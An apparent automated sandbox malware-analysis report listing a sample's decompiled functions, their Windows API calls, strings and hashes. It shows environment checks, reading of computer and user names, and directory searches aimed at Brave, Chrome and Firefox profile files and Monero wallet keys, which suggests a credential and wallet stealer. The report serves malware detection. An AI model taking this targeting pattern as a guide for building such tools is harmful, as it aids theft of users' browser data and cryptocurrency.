Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 582c7cce5b4226eab5fada319362ebe8905d6a7d1568bbd697d37c21736908df
Instruction ID: 38b616a67557aed78acc41f7989e7fd9bee834a5efdae10ad245ff00115fa58c
Opcode Fuzzy Hash: 582c7cce5b4226eab5fada319362ebe8905d6a7d1568bbd697d37c21736908df
Instruction Fuzzy Hash: 1D0162B1944308EBC754DF99DD45BAEBBB8F704B21F10422BE545A2380D37559008BA1

Function 005C1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005C112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 005C1132
ExitProcess.KERNEL32 ref: 005C1143

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7840be79c25533bf99f70daf02398af62b3ffc9e6b979ddea7ffa7dfe94d823e
Instruction ID: 2aefb516ae61910127a9f9d855f97bfb8fca6d290966aedc98d2998632b0534a
Opcode Fuzzy Hash: 7840be79c25533bf99f70daf02398af62b3ffc9e6b979ddea7ffa7dfe94d823e
Instruction Fuzzy Hash: 7AE0E67094530CFFE7546BE09C0EF097A78FB05B01F104054F709765D1D6B56640969D

Function 005C10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005C10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005C10F7

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7cbeaa21daf0ef96239c35ff2433d02f6ef468e84be8e1f486e1f7a964c1cd2f
Instruction ID: 9581d0087a47889db32ffca7f3159c50b8613af3d89c038548fc876b3e08e6f7
Opcode Fuzzy Hash: 7cbeaa21daf0ef96239c35ff2433d02f6ef468e84be8e1f486e1f7a964c1cd2f
Instruction Fuzzy Hash: 4CF0E271641308BBE7149BA8AC5DFBABBECF705B15F305448F544E3280D5719F00CAA5

Function 005C1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005D78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005D7910
Part of subcall function 005D78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005D7917
Part of subcall function 005D78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005D792F

Part of subcall function 005D7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005C11B7), ref: 005D7880
Part of subcall function 005D7850: RtlAllocateHeap.NTDLL(00000000), ref: 005D7887
Part of subcall function 005D7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005D789F

ExitProcess.KERNEL32 ref: 005C11C6

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5e63a06c775bb3996704bbe3065eac787109728a8e84a53843366e1a59ae493a
Instruction ID: 8bc5def5b4e8317a175e063f7df4357a43f9ff5e2d373d7ebe62dce03ef8bed0
Opcode Fuzzy Hash: 5e63a06c775bb3996704bbe3065eac787109728a8e84a53843366e1a59ae493a
Instruction Fuzzy Hash: E4E012B591430657CA6473F8AC1EF2A3A9C7B55749F08042BFA05D2743FA29E800C56A

Non-executed Functions

Function 005D38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005D38CC
FindFirstFileA.KERNEL32(?,?), ref: 005D38E3
lstrcat.KERNEL32(?,?), ref: 005D3935
StrCmpCA.SHLWAPI(?,005E0F70), ref: 005D3947
StrCmpCA.SHLWAPI(?,005E0F74), ref: 005D395D
FindNextFileA.KERNEL32(000000FF,?), ref: 005D3C67
FindClose.KERNEL32(000000FF), ref: 005D3C7C

Strings

%s\*, xrefs: 005D38C0
%s%s, xrefs: 005D3AAD
%s\%s, xrefs: 005D3A6F
%s\%s\%s, xrefs: 005D3A4A
%s\%s, xrefs: 005D397A

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 809e56dd172ee83d748b1cdeeb46f7a5582e48d1ebbab0fe175cf400369cfb0a
Instruction ID: 85570706b40dd094eed60c605e550a97e95adc8ec8b730cead1895de3f223952
Opcode Fuzzy Hash: 809e56dd172ee83d748b1cdeeb46f7a5582e48d1ebbab0fe175cf400369cfb0a
Instruction Fuzzy Hash: 7DA161B2A003099BDB74DFA4DC89FEE7778BF84300F04459AA55D96241EB719B84CF62

Function 005CBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

FindFirstFileA.KERNEL32(00000000,?,005E0B32,005E0B2B,00000000,?,?,?,005E13F4,005E0B2A), ref: 005CBEF5
StrCmpCA.SHLWAPI(?,005E13F8), ref: 005CBF4D
StrCmpCA.SHLWAPI(?,005E13FC), ref: 005CBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 005CC7BF
FindClose.KERNEL32(000000FF), ref: 005CC7D1

Strings

\Brave\Preferences, xrefs: 005CC1DB
Preferences, xrefs: 005CC11E
Brave, xrefs: 005CC102
Google Chrome, xrefs: 005CC634

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 87f8c377e237251298e87c588b8c25db8498e5ec5eb3c0465c95e7d68d002c64
Instruction ID: ced39297e5830989829e35be0d7400e6b3312986573e5802016ccf152377d137
Opcode Fuzzy Hash: 87f8c377e237251298e87c588b8c25db8498e5ec5eb3c0465c95e7d68d002c64
Instruction Fuzzy Hash: 4F4268729001055BCF24FBB4DD9AEEE7B7CBBC4300F40455AF90A96281EE349B49CB96

Function 005D4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005D492C
FindFirstFileA.KERNEL32(?,?), ref: 005D4943
StrCmpCA.SHLWAPI(?,005E0FDC), ref: 005D4971
StrCmpCA.SHLWAPI(?,005E0FE0), ref: 005D4987
FindNextFileA.KERNEL32(000000FF,?), ref: 005D4B7D
FindClose.KERNEL32(000000FF), ref: 005D4B92

Strings

%s\*, xrefs: 005D4920
%s\%s, xrefs: 005D49FB
%s\%s, xrefs: 005D49A4

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 49d8ffedd40db942ea8b2cc20a1c97dd29ffc24788259fcf879fce1afec4b86e
Instruction ID: 3cb1046a9cb3ddf2e4d830ffac0ae4c5d0bcdfa541edc1d06143541fc56a1a9e
Opcode Fuzzy Hash: 49d8ffedd40db942ea8b2cc20a1c97dd29ffc24788259fcf879fce1afec4b86e
Instruction Fuzzy Hash: 956194B2900218ABCB34EBA4DC49FEA777CBB88300F048599F54996141EB71EB85CF91

Function 005D4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005D4580
RtlAllocateHeap.NTDLL(00000000), ref: 005D4587
wsprintfA.USER32 ref: 005D45A6
FindFirstFileA.KERNEL32(?,?), ref: 005D45BD
StrCmpCA.SHLWAPI(?,005E0FC4), ref: 005D45EB
StrCmpCA.SHLWAPI(?,005E0FC8), ref: 005D4601
FindNextFileA.KERNEL32(000000FF,?), ref: 005D468B
FindClose.KERNEL32(000000FF), ref: 005D46A0
lstrcat.KERNEL32(?,014B0D70), ref: 005D46C5
lstrcat.KERNEL32(?,014AF488), ref: 005D46D8
lstrlen.KERNEL32(?), ref: 005D46E5
lstrlen.KERNEL32(?), ref: 005D46F6

Strings

%s\*, xrefs: 005D459A
%s\%s, xrefs: 005D461B

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 5096bc40139e92145d14796a51a95c1afc3784c4bae9df5c786f83787019982a
Instruction ID: 43ee727643590e9c159cf20d1631189c9edf66a3ada0a7b6d089a4845706f45e
Opcode Fuzzy Hash: 5096bc40139e92145d14796a51a95c1afc3784c4bae9df5c786f83787019982a
Instruction Fuzzy Hash: 915176B55403189BCB64EBB4DC89FED777CBB54300F008599B65A92190EB74DB84CF92

Function 005D3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005D3EC3
FindFirstFileA.KERNEL32(?,?), ref: 005D3EDA
StrCmpCA.SHLWAPI(?,005E0FAC), ref: 005D3F08
StrCmpCA.SHLWAPI(?,005E0FB0), ref: 005D3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 005D406C
FindClose.KERNEL32(000000FF), ref: 005D4081

Strings

%s\%s, xrefs: 005D3EB7

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 4f68652e2e3aefaf394e1f053f6960c7f08050d1fab9366158c9521807684744
Instruction ID: 58e560abdc7d37d89d6892856b6e8116c01ab08e3bc08fc2cf1e5570268b5451
Opcode Fuzzy Hash: 4f68652e2e3aefaf394e1f053f6960c7f08050d1fab9366158c9521807684744
Instruction Fuzzy Hash: FB5158B5900219ABCB34FBB4DC49EEE777CBB84300F00859AB65996180DB75DB85CF91

Function 005CED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005CED3E
FindFirstFileA.KERNEL32(?,?), ref: 005CED55
StrCmpCA.SHLWAPI(?,005E1538), ref: 005CEDAB
StrCmpCA.SHLWAPI(?,005E153C), ref: 005CEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 005CF2AE
FindClose.KERNEL32(000000FF), ref: 005CF2C3

Strings

%s\*.*, xrefs: 005CED32

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 25e1dde44edeca97866024682c387afa08e5a4317a458df8277136ca70934a69
Instruction ID: 01a24a894f0bf1eb53b2adb83c441f9ea9ee07c16e6c006539b611f288d77855
Opcode Fuzzy Hash: 25e1dde44edeca97866024682c387afa08e5a4317a458df8277136ca70934a69
Instruction Fuzzy Hash: 89E144728111599ADB68FB64CC96EEF7738BF94300F40419BB40A62192EF306F8ADF55

Function 005CF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005E15B8,005E0D96), ref: 005CF71E
StrCmpCA.SHLWAPI(?,005E15BC), ref: 005CF76F
StrCmpCA.SHLWAPI(?,005E15C0), ref: 005CF785
FindNextFileA.KERNEL32(000000FF,?), ref: 005CFAB1
FindClose.KERNEL32(000000FF), ref: 005CFAC3

Strings

prefs.js, xrefs: 005CF812

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
